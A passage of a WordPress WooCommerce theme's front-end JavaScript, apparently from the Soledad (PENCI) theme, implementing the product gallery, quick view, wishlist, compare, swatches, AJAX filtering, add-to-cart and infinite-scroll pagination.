						loop: true,
						spaceBetween: 30,
						centeredSlides: true,
						slidesPerView: 3,
						breakpoints: {
							320: {
								slidesPerView: 1, spaceBetween: 0,
							}, 768: {
								slidesPerView: 1, spaceBetween: 0, nav: false,
							}, 1170: {
								slidesPerView: 3,
							},
						},
					} )
				} else {
					const swiper = new Swiper( $gallery_list, {
						loop: true,
						spaceBetween: 0,
						slidesPerView: 1,
					} )
				}

				if ( $('body').hasClass('rtl') ) {
					swiper.changeLanguageDirection( 'ltr' )
				}
			}

			if ( zoom && $slider.length > 0 ) {
				swiper_gallery_list.on( 'slideChange', function ( e ) {

					var $slideritem = $( $gallery_list ).find( '.woocommerce-product-gallery__wrapper' ).eq( e.realIndex ).find( '.woocommerce-product-gallery__image' ),
						image = $slideritem.find( 'img' )

					if ( image.data( 'large_image_width' ) > $slideritem.width() ) {
						$slideritem.trigger( 'zoom.destroy' )
						if ( typeof $slideritem.zoom === 'function' ) {
							$slideritem.zoom()
						}
					}

				} )
			}


			$( '.variations_form' ).each( function () {
				var $this = $( this )
				$this.on( 'woocommerce_update_variation_values', function () {
					setTimeout( function () {
						if ( $thumbnail_slider.length > 0 ) {
							var $imgid = $this.attr( 'current-image' ),
								$slideitem = $slider.find( 'figure[data-attr_id=\'' + $imgid + '\']' ).data( 'slide_item' )

							if ( $slideitem !== undefined ) {
								swiper_gallery_list.slideTo( $slideitem )
							} else {
								swiper_gallery_list.slideTo( 0 )
							}
						}
					}, 100 )

				} )
			} )
		}

		/* Product Quick View
	 ---------------------------------------------------------------*/
		PENCI.quickview = function () {
			$( 'body' ).on( 'click', '.penci-quickview-button', function ( e ) {
				e.preventDefault()
				var $this = $( this ), productID = $this.data( 'pid' ), data = {
					pid: productID, action: 'penci_quickview', nonce: penciwoo.nonce,
				}

				$this.addClass( 'loading' )

				var initPopup = function ( data ) {
					var items = $( data )

					$.magnificPopup.open( {
						items: {
							src: items, type: 'inline',
						}, fixedContentPos: true, removalDelay: 500, callbacks: {
							beforeOpen: function () {
								this.st.mainClass = 'quick-view-wrapper woocommerce'
							}, open: function () {
								var $form = $( '.variations_form' )
								$form.each( function () {
									$( this ).wc_variation_form().find( '.variations select:eq(0)' ).change()
								} )
								PENCI.productslider( false, true )
								$form.trigger( 'wc_variation_form' )
							},
						},
					} )
				}

				$.ajax( {
					url: penciwoo.ajaxUrl, data: data, method: 'get', success: function ( data ) {
						initPopup( data )
					}, complete: function () {
						$this.removeClass( 'loading' )
						PENCI.swatches( '.quick-view-wrapper .variations_form' )
						PENCI.select2button()
						PENCI.loadingicon()
					},
				} )
			} )

			$(document).ready(function() {
				$(document.body).on('added_to_cart', function() {
					if (typeof $.magnificPopup !== 'undefined') {
						$.magnificPopup.close();
					}
				});
			});
		}

		/* Product Wish List
	 ---------------------------------------------------------------*/
		PENCI.wishlist = function () {
			$( document ).on( 'click', '.penci-addtowishlist:not(.added)', function ( e ) {
				e.preventDefault()
				var $this = $( this ), productID = $this.data( 'pid' ), data = {
					pid: productID, action: 'penci_add_to_wishlist', nonce: penciwoo.nonce,
				}
				$.ajax( {
					url: penciwoo.ajaxUrl, data: data, method: 'get', beforeSend: function () {
						$this.addClass( 'loading' )
					}, success: function ( response ) {
						$this.addClass( 'added' ).attr( 'href', response.data.url ).html( penciwoo.browsewishlist ).attr( 'title', penciwoo.browsewishlist ).attr( 'data-tippy-content', penciwoo.browsewishlist )
						$( '.top-search-classes.wishlist-icon .wishlist-contents > span' ).html( response.data.total )
						$( '.penci-mobile-bottom-nav li.wishlist span.current-item' ).html( response.data.total )
						PENCI.tippyContent()
						PENCI.notify( '<a href="' + response.data.item_link + '"><img class="product_image" src="' + response.data.img + '" alt=""/></a><div><a class="toast-title" href="' + response.data.item_link + '">' + response.data.title + '</a><p>' + penciwoo.addwishlist + '.</p></div>', '<div class="woocommerce notify_bottom"><a class="button wishlist_url" href="' + response.data.url + '">' + penciwoo.browsewishlist + '</a></div>', 'added_to_cart' )
					}, complete: function () {
						$this.removeClass( 'loading' )
					},
				} )
			} )

			$( document ).on( 'click', '.penci-removewishlist', function ( e ) {
				e.preventDefault()
				var $this = $( this ), productID = $this.data( 'pid' ), data = {
					pid: productID, action: 'penci_remove_wishlist_item', nonce: penciwoo.nonce,
				}
				$.ajax( {
					url: penciwoo.ajaxUrl, data: data, method: 'get', beforeSend: function () {
						$this.addClass( 'loading' )
					}, success: function ( response ) {
						$( '.top-search-classes.wishlist-icon .wishlist-contents > span' ).html( response.data.total )
						$( '.penci-mobile-bottom-nav li.wishlist span.current-item' ).html( response.data.total )
						var $container = $( '.penci-custom-products' )
						if ( 0 === response.data.total ) {
							$container.append( '<div class="penci-wishlist-products-empty-text"><h3 class="penci-wishlist-empty-title">' + penciwoo.wishlist_empty_heading + '</h3>' + penciwoo.wishlist_empty_text + '<p class="return-to-shop"><a class="button" href="' + penciwoo.shoppage + '">' + penciwoo.returnshop + '</a></p></div>' )
						}
						PENCI.notify( '<a href="' + response.data.item_link + '"><img class="product_image" src="' + response.data.img + '" alt=""/></a><div><a class="toast-title" href="' + response.data.item_link + '">' + response.data.title + '</a><p>' + penciwoo.removewishlist + '.</p></div>', ' ', 'added_to_cart' )

					}, complete: function () {
						$this.removeClass( 'loading' )
						$this.closest( 'li.product' ).remove()
					},
				} )
			} )
		}

		/* Product Compare
	 ---------------------------------------------------------------*/
		PENCI.compare = function () {
			$( 'body' ).on( 'click', '.penci-compare:not(.added)', function ( e ) {
				e.preventDefault()
				var $this = $( this ), productID = $this.data( 'pid' ), method = $this.data( 'method' ), data = {
					pid: productID, method: method, action: 'penci_add_to_compare', nonce: penciwoo.nonce,
				}
				$.ajax( {
					url: penciwoo.ajaxUrl, data: data, method: 'get', beforeSend: function () {
						$this.addClass( 'loading' )
					}, success: function ( response ) {
						var comparetext = penciwoo.addtocompare,
							compare_footer = '<div class="woocommerce notify_bottom"><a class="button compare_url" href="' + response.data.url + '">' + penciwoo.browsecompare + '</a></div>'
						if ( 'add' === method ) {
							$this.addClass( 'added' ).attr( 'href', response.data.url ).attr( 'title', penciwoo.browsecompare ).html( penciwoo.browsecompare ).attr( 'data-tippy-content', penciwoo.browsecompare )
							PENCI.tippyContent()
						} else {
							var currentId = $this.closest( '.penci-products-compare-table' )
							currentId.find( '[data-productid="' + productID + '"]' ).remove()
							comparetext = penciwoo.removecompare
							compare_footer = ''
						}
						$( '.top-search-classes.compare-icon .compare-contents > span' ).html( response.data.total )
						$( '.penci-mobile-bottom-nav li.compare span.current-item' ).html( response.data.total )
						var $container = $( '.penci-products-compare-table.woocommerce' )
						if ( 0 === response.data.total ) {
							$container.empty().append( '<div class="penci-empty-compare penci-empty-page penci-empty-page-text"><h3 class="penci-compare-empty-title">' + penciwoo.compare_empty_heading + '</h3>' + penciwoo.compare_empty_text + '</p><p class="return-to-shop"><a class="button" href="' + penciwoo.shoppage + '">' + penciwoo.returnshop + '</a></div>' )
						}
						PENCI.notify( '<a href="' + response.data.item_link + '"><img class="product_image" src="' + response.data.img + '" alt=""/></a><div><a class="toast-title" href="' + response.data.item_link + '">' + response.data.title + '</a><p>' + comparetext + '.</p></div>', compare_footer, 'added_to_cart' )
					}, complete: function () {
						$this.removeClass( 'loading' )
					},
				} )
			} )
		}

		/* Product Swatches
	 ---------------------------------------------------------------*/
		PENCI.swatches = function ( selector ) {
			$( selector ).each( function () {
				var $form = $( this )

				$form.addClass( 'swatches-support' ).on( 'click', '.swatch', function ( e ) {
					e.preventDefault()

					var $el = $( this ), $select = $el.closest( '.value' ).find( 'select' ),
						value = $el.attr( 'data-value' )

					if ( $el.hasClass( 'disabled' ) ) {
						return
					}

					// For old WC.
					$select.trigger( 'focusin' )

					// Check if this combination is available.
					if ( !$select.find( 'option[value="' + value + '"]' ).length ) {
						$el.siblings( '.swatch' ).removeClass( 'selected' )
						$select.val( '' ).change()
						$form.trigger( 'penci_no_matching_variations', [$el] )
						return
					}

					if ( $el.hasClass( 'selected' ) ) {
						$select.val( '' )
						$el.removeClass( 'selected' )
					} else {
						$el.addClass( 'selected' ).siblings( '.selected' ).removeClass( 'selected' )
						$select.val( value )
					}
					$select.change()
				} ).on( 'woocommerce_variation_select_change', function () {
					$form.addClass( 'has-selected-swatch' )
				} ).on( 'click', '.reset_variations', function () {
					$form.find( '.swatch.selected' ).removeClass( 'selected' )
					$form.find( '.swatch.disabled' ).removeClass( 'disabled' )
					$form.removeClass( 'has-selected-swatch' )
				} ).on( 'woocommerce_update_variation_values', function () {
					setTimeout( function () {
						$form.find( 'tbody tr' ).each( function () {
							var $variationRow = $( this ), $options = $variationRow.find( 'select' ).find( 'option' ),
								$selected = $options.filter( ':selected' ), values = []

							$options.each( function ( index, option ) {
								if ( option.value !== '' ) {
									values.push( option.value )
								}
							} )

							$variationRow.find( '.swatch' ).each( function () {
								var $swatch = $( this ), value = $swatch.attr( 'data-value' )

								if ( values.indexOf( value ) > - 1 ) {
									$swatch.removeClass( 'disabled' )
								} else {
									$swatch.addClass( 'disabled' )

									if ( $selected.length && value === $selected.val() ) {
										$swatch.removeClass( 'selected' )
									}
								}
							} )
						} )
					}, 100 )
				} ).on( 'penci_no_matching_variations', function () {
					window.alert( wc_add_to_cart_variation_params.i18n_no_matching_variations_text )
				} )
			} )
		}

		/* Product Quantity
	 ---------------------------------------------------------------*/
		PENCI.quantity = function () {
			if ( !String.prototype.getDecimals ) {
				String.prototype.getDecimals = function () {
					var num = this, match = (
						'' + num
					).match( /(?:\.(\d+))?(?:[eE]([+-]?\d+))?$/ )

					if ( !match ) {
						return 0
					}

					return Math.max( 0, (
						                    match[1] ? match[1].length : 0
					                    ) - (
						                    match[2] ? + match[2] : 0
					                    ) )
				}
			}

			$( 'body' ).on( 'click', '.plus, .minus', function () {
				var $this = $( this ), $qty = $this.closest( '.quantity' ).find( '.qty' ),
					currentVal = parseFloat( $qty.val() ), max = parseFloat( $qty.attr( 'max' ) ),
					min = parseFloat( $qty.attr( 'min' ) ), step = $qty.attr( 'step' )

				if ( !currentVal || currentVal === '' || currentVal === 'NaN' ) {
					currentVal = 0
				}
				if ( max === '' || max === 'NaN' ) {
					max = ''
				}
				if ( min === '' || min === 'NaN' ) {
					min = 0
				}
				if ( step === 'any' || step === '' || step === undefined || parseFloat( step ) == 'NaN' ) {
					step = '1'
				}

				if ( $this.is( '.plus' ) ) {
					if ( max && (
						currentVal >= max
					) ) {
						$qty.val( max )
					} else {
						$qty.val( (
							currentVal + parseFloat( step )
						).toFixed( step.getDecimals() ) )
					}
				} else {
					if ( min && (
						currentVal <= min
					) ) {
						$qty.val( min )
					} else if ( currentVal > 0 ) {
						$qty.val( (
							currentVal - parseFloat( step )
						).toFixed( step.getDecimals() ) )
					}
				}

				$qty.trigger( 'change' )
			} )
		}

		/* Product Loop
	 ---------------------------------------------------------------*/
		PENCI.productLoop = function () {
			$( 'body' ).on( 'click', '.penci-swatch-item', function () {
				var current_swatches = $( this ), $this = $( this ).closest( '.penci-soledad-product' ),
					$imgMain = $this.find( '.penci-main-loop-image > img' ),
					$hoverImg = $this.find( '.hover-img > a img' )
				$this.addClass( 'loading-image' ).removeClass( 'active-custom-swatches' )
				$this.find( '.penci-swatch-item' ).removeClass( 'active-swatches' )
				var $variable_img_src = $( this ).data( 'image-src' ),
					$variable_img_srcset = $( this ).data( 'image-srcset' ),
					$variable_img_sizes = $( this ).data( 'image-sizes' )
				if ( $variable_img_src ) {
					$imgMain.attr( 'src', $variable_img_src ).attr( 'srcset', $variable_img_srcset ).attr( 'sizes', $variable_img_sizes ).one( 'load', function () {
						$this.removeClass( 'loading-image' ).addClass( 'active-custom-swatches' )
						current_swatches.addClass( 'active-swatches' )
					} )

					if ( $hoverImg.length > 0 ) {
						$hoverImg.attr( 'src', $variable_img_src ).attr( 'srcset', $variable_img_srcset ).attr( 'sizes', $variable_img_sizes )
					}
				}
			} )
		}

		/* Product Tippy
	 ---------------------------------------------------------------*/
		PENCI.tippyContent = function () {
			if ( PENCI.isMobile() || window.matchMedia( '(max-width: 768px)' ).matches ) {
				return false
			}

			$( '.penci-product-loop-button .button' ).each( function () {
				$( this ).attr( 'data-tippy-content', $( this ).text() )
			} )

			tippy( 'ul.products.icon-align-vertical.icon-position-top-left .penci-product-loop-button .button', {
				placement: 'right',
			} )

			tippy( 'ul.products.icon-align-vertical.icon-position-bottom-left .penci-product-loop-button .button', {
				placement: 'right',
			} )

			tippy( 'ul.products.icon-align-vertical.icon-position-top-right .penci-product-loop-button .button', {
				placement: 'left',
			} )

			tippy( 'ul.products.icon-align-vertical.icon-position-bottom-right .penci-product-loop-button .button', {
				placement: 'left',
			} )

			tippy( 'ul.products.icon-align-horizontal .penci-product-loop-button .button', {
				placement: 'top',
			} )

			tippy( '.penci-swatch-item', { placement: 'top' } )
			tippy( '.soledad-product-filter .layer-term-name.penci-tooltip', { placement: 'top' } )
		}

		/* Product Ajax Filter
	 ---------------------------------------------------------------*/

		PENCI.updateURL = function ( uri, key, value ) {
			var re = new RegExp( '([?&])' + key + '=.*?(&|$)', 'i' )
			var separator = uri.indexOf( '?' ) !== - 1 ? '&' : '?'
			if ( uri.match( re ) ) {
				return uri.replace( re, '$1' + key + '=' + value + '$2' )
			} else {
				return uri + separator + key + '=' + value
			}
		}

		PENCI.ajaxfilter = function () {

			$( document ).on( 'change', 'select.orderby', function ( event ) {
				var $form = $( this ).closest( 'form' )
				$form.find( '[name="_pjax"]' ).remove()
				$.pjax( {
					timeout: 5000, container: '#main', fragment: '#main', url: '?' + $form.serialize(),
				} )
			} )

			$( document ).on( 'change', 'select.penci-widget-layered-nav-dropdown', function ( event ) {
				var $form = $( this ).closest( 'form' ), $attr_name = $( this ).data( 'slug' ),
					$updateURL = PENCI.updateURL( window.location.href, 'filter_' + $attr_name, $( this ).val() )
				$form.find( '[name="_pjax"]' ).remove()
				$form.find( '[name="filter_' + $attr_name + '"]' ).val( this.value )
				$.pjax( {
					timeout: 5000,
					container: '.penci-woo-page-container',
					fragment: '.penci-woo-page-container',
					url: $updateURL,
				} )
			} )

			$( '.woocommerce-ordering' ).on( 'submit', function ( e ) {
				e.preventDefault( e )
			} )

			$( document ).on( 'submit', '.widget_price_filter form', function ( event ) {
				event.preventDefault( event )
				$.pjax( {
					timeout: 5000,
					container: '.penci-woo-page-container',
					fragment: '.penci-woo-page-container',
					url: '?' + $( this ).serialize(),
				} )
			} )

			$( '.penci-widget-layered-nav-dropdown-form' ).on( 'submit', function ( e ) {
				e.preventDefault( e )
			} )

			$.each( [
				'body:not(.elementor-page) a.layered-nav-link',
				'body:not(.elementor-page) .penci-products-shop-view a',
				'body:not(.elementor-page) .soledad-price-filter a',
				'body:not(.elementor-page) .penci-products-per-page a',
				'body:not(.elementor-page) .penci-widget-stock-status a',
				'body:not(.elementor-page) .widget_rating_filter a',
				'body:not(.elementor-page) .penci-active-filters a',
				'body:not(.elementor-page) .woocommerce-pagination ul li a',
			], function ( index, value ) {
				$( document ).pjax( value, {
					timeout: 10000,
					container: '.penci-woo-page-container',
					fragment: '.penci-woo-page-container',
					scrollTo: false,
				} )
			} )

			$( document ).on( 'pjax:send', function ( xhr, options ) {
				var mainClass = $( xhr.relatedTarget ), bodyClass = $( mainClass ).closest( 'body' )

				if ( ! $( 'body' ).hasClass('woocommerce') ) {
					return;
				}

				$( 'body' ).addClass( 'pre-load-content' )
				if ( penciwoo.scrolltotopajax > 0 && !bodyClass.hasClass( 'elementor-page' ) ) {
					var element = document.querySelector( '#header' )
					element.scrollIntoView( { behavior: 'smooth', block: 'end' } )
				}
			} )

			$( document ).on( 'pjax:complete', function () {
				$( 'body' ).removeClass( 'pre-load-content' )
				PENCI.tippyContent()
				PENCI.pagination()
				PENCI.loadingicon()
				PENCI.productQuery()
				PENCI.productCarousel()
				PENCI.fixproductIconsize()
				PENCI.quickshop()
				PENCI.misc()
				PENCI.product_sticky_sidebar()
				$( document.body ).trigger( 'wc_fragment_refresh' )
				$( document.body ).trigger( 'init_price_filter' )
			} )

			$( 'body' ).on( 'click', '.woocommerce-pagination.ajax-pagination li a', function ( e ) {

				if ( $( 'body' ).hasClass( 'penci-wishlist-page' ) ) {
					return
				}

				e.preventDefault()
				var reged = new RegExp( /\?product-page=([0-9\-]+)\&?/ ), link = $( this ).attr( 'href' ),
					$settings = $( this ).closest( '.woocommerce-pagination.ajax-pagination' ).data( 'settings' ),
					$contentID = $( this ).closest( '.page-unique-part' ).data( 'part' ),
					$contentParent = $( this ).closest( '.elementor-widget-container' ),
					$currentpage = reged.test( link )


				if ( $currentpage ) {
					$.ajax( {
						url: penciwoo.ajaxUrl, data: {
							'action': 'penci_ajax_load_products',
							'settings': $settings,
							'preloader': true,
							'product-page': link.match( reged )[1],
							'requestid': penciwoo.nonce,
						}, method: 'get', beforeSend: function () {
							$contentParent.addClass( 'pre-load-content' )
						}, success: function ( data ) {
							var result = data, innerRes = $( result ).html()
							$contentParent.removeClass( 'pre-load-content' )
							$contentParent.find( '.' + $contentID ).empty().html( innerRes )
							PENCI.tippyContent()
							PENCI.loadingicon()
							PENCI.fixproductIconsize()
							PENCI.quickshop()
						},
					} )
				} else {
					$.ajax( {
						url: link, method: 'get', beforeSend: function () {
							$contentParent.addClass( 'pre-load-content' )
						}, success: function ( data ) {
							var result = data, innerRes = $( result ).html()
							$contentParent.removeClass( 'pre-load-content' )
							$contentParent.find( '.' + $contentID ).empty().html( innerRes )
							PENCI.tippyContent()
							PENCI.loadingicon()
							PENCI.fixproductIconsize()
							PENCI.quickshop()
						},
					} )
				}
			} )
		}

		/* Product Ajax ATC
	 ---------------------------------------------------------------*/
		PENCI.productATC = function () {
			$.fn.PenciserializeArrayAll = function () {
				var rCRLF = /\r?\n/g
				return this.map( function () {
					return this.elements ? jQuery.makeArray( this.elements ) : this
				} ).map( function ( i, elem ) {
					var val = jQuery( this ).val()
					if ( val == null ) {
						return val == null
					} else if ( this.type === 'checkbox' && this.checked === false ) {
						return { name: this.name, value: this.checked ? this.value : '' }
					} else {
						return jQuery.isArray( val ) ? jQuery.map( val, function ( val, i ) {
							return { name: elem.name, value: val.replace( rCRLF, '\r\n' ) }
						} ) : { name: elem.name, value: val.replace( rCRLF, '\r\n' ) }
					}
				} ).get()
			}
			$( document ).on( 'click', 'form.cart:not(.variations_form):not(.grouped_form) .single_add_to_cart_button:not(.disabled)', function ( e ) {

				var $thisbutton = $( this ), $form = $thisbutton.closest( 'form.cart' ),
					data = $form.find( 'input:not([name="product_id"]), select, button, textarea' ).PenciserializeArrayAll() || 0,
					mainClass = $thisbutton.closest( '.product.type-product' )

				if ( mainClass.hasClass( 'product-type-external' ) || penciwoo.addtocart_jax ) {
					return
				}

				$.each( data, function ( i, item ) {
					if ( 'add-to-cart' === item.name ) {
						item.name = 'product_id'
						item.value = $form.find( 'input[name=variation_id]' ).val() || $thisbutton.val()
					}
				} )

				e.preventDefault()

				$( document.body ).trigger( 'adding_to_cart', [$thisbutton, data] )

				$.ajax( {
					type: 'POST',
					url: woocommerce_params.wc_ajax_url.toString().replace( '%%endpoint%%', 'add_to_cart' ),
					data: data,
					beforeSend: function () {
						$thisbutton.removeClass( 'added' ).addClass( 'loading' )
					},
					complete: function () {
						$thisbutton.addClass( 'added' ).removeClass( 'loading' )
					},
					success: function ( response ) {

						if ( response.error && response.product_url ) {
							window.location = response.product_url
							return
						}

						$( document.body ).trigger( 'added_to_cart', [
							response.fragments, response.cart_hash, $thisbutton,
						] )
					},
				} )

				return false

			} )
		}

		/* Product Ajax Variable Add to Cart
    ---------------------------------------------------------------*/
		PENCI.productVATC = function () {
			// wc_add_to_cart_params is required to continue, ensure the object exists
			if ( typeof wc_add_to_cart_params === 'undefined' || penciwoo.addtocart_jax ) {
				return false
			}

			// Ajax add to cart
			$( document ).on( 'click', '.variations_form .single_add_to_cart_button', function ( e ) {

				e.preventDefault()

				var $variation_form = $( this ).closest( '.variations_form' ),
					var_id = $variation_form.find( 'input[name=variation_id]' ).val(),
					product_id = $variation_form.find( 'input[name=product_id]' ).val(),
					quantity = $variation_form.find( 'input[name=quantity]' ).val(),
					variations = $variation_form.find( 'select[name^=attribute]' )

				$( '.ajaxerrors' ).remove()
				var item = {}, check = true


				/* Updated code to work with radio button - mantish - WC Variations Radio Buttons - 8manos */
				if ( !variations.length ) {
					variations = $variation_form.find( '[name^=attribute]:checked' )
				}

				/* Backup Code for getting input variable */
				if ( !variations.length ) {
					variations = $variation_form.find( 'input[name^=attribute]' )
				}

				variations.each( function () {

					var $this = $( this ), attributeName = $this.attr( 'name' ), attributevalue = $this.val(), index,
						attributeTaxName

					$this.removeClass( 'error' )

					if ( attributevalue.length === 0 ) {
						index = attributeName.lastIndexOf( '_' )
						attributeTaxName = attributeName.substring( index + 1 )

						$this.addClass( 'required error' ).before( '<div class="ajaxerrors"><p>Please select ' + attributeTaxName + '</p></div>' )

						check = false
					} else {
						item[attributeName] = attributevalue
					}

				} )

				if ( !check ) {
					return false
				}

				var $thisbutton = $( this )

				if ( $thisbutton.is( '.variations_form .single_add_to_cart_button' ) ) {

					$thisbutton.removeClass( 'added' )
					$thisbutton.addClass( 'loading' )

					var data = {
						action: 'penci_add_to_cart_variable',
					}

					$variation_form.serializeArray().map( function ( attr ) {
						if ( attr.name !== 'add-to-cart' ) {
							if ( attr.name.endsWith( '[]' ) ) {
								let name = attr.name.substring( 0, attr.name.length - 2 )
								if ( !(
									name in data
								) ) {
									data[name] = []
								}
								data[name].push( attr.value )
							} else {
								data[attr.name] = attr.value
							}
						}
					} )

					// Trigger event
					$( 'body' ).trigger( 'adding_to_cart', [$thisbutton, data] )

					// Ajax action
					$.post( wc_add_to_cart_params.ajax_url, data, function ( response ) {

						if ( !response ) {
							return
						}

						if ( response.error && response.product_url ) {
							window.location = response.product_url
							return
						}

						// Redirect to cart option
						if ( wc_add_to_cart_params.cart_redirect_after_add === 'yes' ) {
							window.location = wc_add_to_cart_params.cart_url
							return
						}

						// Trigger event so themes can refresh other areas.
						$( document.body ).trigger( 'added_to_cart', [
							response.fragments, response.cart_hash, $thisbutton,
						] )

					} )

					return false

				} else {

					return true
				}

			} )
		}

		/* Product Ajax Quick Shop
	 ---------------------------------------------------------------*/
		PENCI.quickshop = function () {

			if ( penciwoo.quickshop == 0 ) {
				return false
			}

			$( 'ul.products.penci-quickshop-support' ).on( 'click', '.button.product_type_variable', function ( e ) {
				e.preventDefault()
				var $this = $( this ), $product = $this.closest( 'li.product' ),
					$content = $product.find( '.quick-shop-form' ), id = $content.data( 'pid' ),
					loadingClass = 'loading', formSelect = 'li.post-' + id + ' .variations_form'

				if ( $this.hasClass( loadingClass ) ) {
					return
				}

				if ( $product.hasClass( 'quick-shop-loaded' ) ) {
					$product.addClass( 'quick-shop-shown' )
					return
				}

				$this.addClass( loadingClass )
				$product.addClass( 'loading-quick-shop' )

				$.ajax( {
					url: penciwoo.ajaxUrl, data: {
						action: 'penci_quick_shop', id: id,
					}, method: 'get', success: function ( data ) {
						$content.append( data )
						$product.find( '.variations_form' ).wc_variation_form().find( '.variations select:eq(0)' ).change()
						$product.find( '.variations_form' ).trigger( 'wc_variation_form' )
						PENCI.loadingicon()
						PENCI.swatches( formSelect )
					}, complete: function () {
						setTimeout( function () {
							$this.removeClass( loadingClass )
							$product.removeClass( 'loading-quick-shop' )
							$product.addClass( 'quick-shop-shown quick-shop-loaded' )
						}, 100 )
					},
				} )

			} ).on( 'click', '.quick-shop-close', function ( e ) {
				e.preventDefault()

				var $this = $( this ), $product = $this.parents( 'li.product' )

				$product.removeClass( 'quick-shop-shown' )
			} )

			$( 'body' ).on( 'added_to_cart', function () {
				$( '.product' ).removeClass( 'quick-shop-shown' )
			} )
		}

		/* Product Accordion
	 ---------------------------------------------------------------*/
		PENCI.accordion = function () {
			$( '.woocommerce-accordion-title' ).click( function ( j ) {
				var $parent = $( this ).parent(), $toggle = $parent.find( '.woocommerce-accordion-panel' )

				$( this ).toggleClass( 'active' )
				$parent.toggleClass( 'parent-active' )
				$toggle.slideToggle()
				j.preventDefault()
			} )
		}

		/* Product Product Carousel
	---------------------------------------------------------------*/
		PENCI.productCarousel = function () {

			var penci_product_section_carousel = function ( selector, columns ) {
				var sectionProduct, mobilecol, vclass

				vclass = 'swiper-' + Math.floor( Math.random() * (
				         9999999 - 1 + 1
				) + 1 )
				sectionProduct = '.' + vclass

				if ( selector.indexOf( 'ul.products' ) >= 0 ) {
					$( selector ).addClass( 'swiper ' + vclass )
				} else {
					$( selector ).find( 'ul.products' ).addClass( 'swiper ' + vclass )
				}

				$( sectionProduct ).wrapInner( '<div class="swiper-wrapper"></div>' )
				$( sectionProduct ).find( 'li' ).addClass( 'swiper-slide' )
				$( sectionProduct ).addClass( 'penci-owl-carousel penci-owl-carousel-slider' )
				$( sectionProduct ).append( '<div class="penci-owl-nav"><div class="owl-prev"><i class="penciicon-left-chevron"></i></div><div class="owl-next"><i class="penciicon-right-chevron"></i></div></div>' )

				var relateProduct_arg = {
					loop: true,
					spaceBetween: 30,
					slidesPerView: columns,
					breakpoints: {
						320: {
							slidesPerView: 2, spaceBetween: 20,
						}, 600: {
							slidesPerView: 2, spaceBetween: 20,
						}, 1000: {
							slidesPerView: columns,
						},
					},
					navigation: {
						nextEl: sectionProduct + ' .owl-next',
						prevEl: sectionProduct + ' .owl-prev',
					},
					on: {
						init: function ( e ) {
							$( sectionProduct ).addClass( 'penci-owl-loaded' )
						},
					},
				}

				const swiper = new Swiper( sectionProduct, relateProduct_arg )

			}

			$.each( [
				{
					name: '.up-sells.products.slider', number: penciwoo.upsellproduct,
				}, {
					name: '.related.products.slider', number: penciwoo.relateproduct,
				}, {
					name: '.cart-collaterals + .cross-sells.slider', number: penciwoo.crosssellproduct,
				}, {
					name: 'ul.products.penci-woo-product-loop-categories.display-style-carousel',
					number: penciwoo.catcolumns,
				},
			], function ( key, section ) {
				penci_product_section_carousel( section.name, section.number )
			} )
		}

		/* Product Product Sticky
	---------------------------------------------------------------*/
		PENCI.productSticky = function () {
			$( 'body.single-product' ).on( 'click', '.penci-sticky-cart .button.product_type_variable', function ( e ) {
				e.preventDefault()
				var productElement = document.querySelector( '#main' )
				productElement.scrollIntoView( { behavior: 'smooth', block: 'start' } )
			} )

			var stickyAddToCartCheck = function () {
				if ( (
					     $( '#main' ).find( '.penci-sticky-cart' ).length
				     ) === 1 ) {
					var windowScroll = $( window ).scrollTop(), windowHeight = $( window ).height(),
						documentHeight = $( document ).height(), stickyCart = $( '.penci-sticky-cart' ),
						mainCart = $( 'form.cart' ), summaryOffset = mainCart.offset().top + mainCart.outerHeight()

					if ( summaryOffset < windowScroll && windowScroll + windowHeight !== documentHeight ) {
						stickyCart.addClass( 'cart-sticky' )

					} else if ( windowScroll + windowHeight === documentHeight || summaryOffset > windowScroll ) {
						stickyCart.removeClass( 'cart-sticky' )
					}

				} // sticky
			}

			stickyAddToCartCheck()

			$( window ).on( 'scroll', stickyAddToCartCheck )
		}

		/* Product Pagination
	---------------------------------------------------------------*/
		PENCI.pagination = function () {
			var nextPage = $( '.woocommerce-pagination .next.page-numbers' )
			if ( $.isFunction( $.fn.infiniteScroll ) && nextPage.length > 0 ) {
				var pPath = '.woocommerce-pagination .next.page-numbers', pAppend = 'li.product',
					pButton = '.view-more-button.button', pStatus = '.page-load-status', pBody = $( 'body' ),
					ajax_threshold = penciwoo.pagination_ajax_threshold,
					ajax_history = penciwoo.pagination_ajax_history, ajax_title = penciwoo.pagination_ajax_title

				if ( pBody.hasClass( 'elementor-page' ) ) {
					ajax_history = false
					ajax_title = false
				}

				$( '.infinit.penci-woo-page-container ul.products:not(.penci-woo-product-loop-categories)' ).each( function () {
					$( this ).infiniteScroll( {
						path: pPath,
						append: pAppend,
						status: pStatus,
						scrollThreshold: ajax_threshold,
						history: ajax_history,
						historyTitle: ajax_title,
						checkLastPage: true,
					} )
				} )

				if ( !pBody.hasClass( 'elementor-page' ) ) {


					$( '.loadmore.penci-woo-page-container ul.products:not(.penci-woo-product-loop-categories)' ).each( function () {
						var idClass = '.woocommerce-pagination.loadmore-pagination .next.page-numbers',
							mainClass = $( this )

						if ( pBody.hasClass( 'elementor-page' ) ) {
							var id = $( this ).closest( '.penci-woo-page-container' ).data( 'section' )
							idClass = '.' + id + ' .next.page-numbers'
							mainClass = $( '.' + id + '.loadmore.penci-woo-page-container ul.products.' + id + '-container' )
							pAppend = '.' + id + ' li.product'
							pButton = '.' + id + '.view-more-button.button'
							pStatus = '.' + id + '.page-load-status'
						}

						mainClass.infiniteScroll( {
							path: idClass,
							append: pAppend,
							scrollThreshold: false,
							button: pButton,
							status: pStatus,
							checkLastPage: true,
							history: ajax_history,
							historyTitle: ajax_title,
							debug: false,
						} )
					} )
				}


				$( '.penci-woo-page-container ul.products' ).on( 'request.infiniteScroll', function ( event, path, fetchPromise ) {
					$( pButton ).addClass( 'loading-posts' )
				} ).on( 'load.infiniteScroll', function ( event, body, path, response ) {
					$( pButton ).removeClass( 'loading-posts' )
				} ).on( 'append.infiniteScroll', function ( event, body, path, response ) {
					PENCI.tippyContent()
				} ).on( 'last.infiniteScroll', function ( event, body, path, response ) {
					$( pButton ).hide()
				} )

				if ( pBody.hasClass( 'elementor-page' ) ) {
					pBody.on( 'click', '.penci-ajax-more-button', function ( e ) {
						e.preventDefault()
						var thisBtn = $( this ), id = thisBtn.closest( '.penci-woo-page-container' ).data( 'section' ),
							contentContainer = $( '.' + id ),
							nextLink = contentContainer.find( '.woocommerce-pagination .next.page-numbers' )

						if ( nextLink.length > 0 ) {
							$.ajax( {
								url: nextLink.attr( 'href' ), method: 'get', beforeSend: function () {
									thisBtn.addClass( 'loading-posts' )
									contentContainer.addClass( 'pre-load-content' )
								}, success: function ( data ) {
